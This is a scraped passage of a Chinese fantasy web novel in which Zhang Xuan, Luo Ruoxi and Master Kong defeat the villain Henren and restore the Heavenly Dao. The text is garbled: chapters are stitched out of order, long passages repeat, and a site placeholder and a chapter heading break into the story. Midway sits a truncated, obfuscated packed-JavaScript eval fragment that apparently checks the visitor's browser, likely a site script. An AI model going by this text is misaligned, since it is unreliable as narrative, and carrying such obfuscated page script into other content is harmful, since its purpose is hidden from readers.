“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十六章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 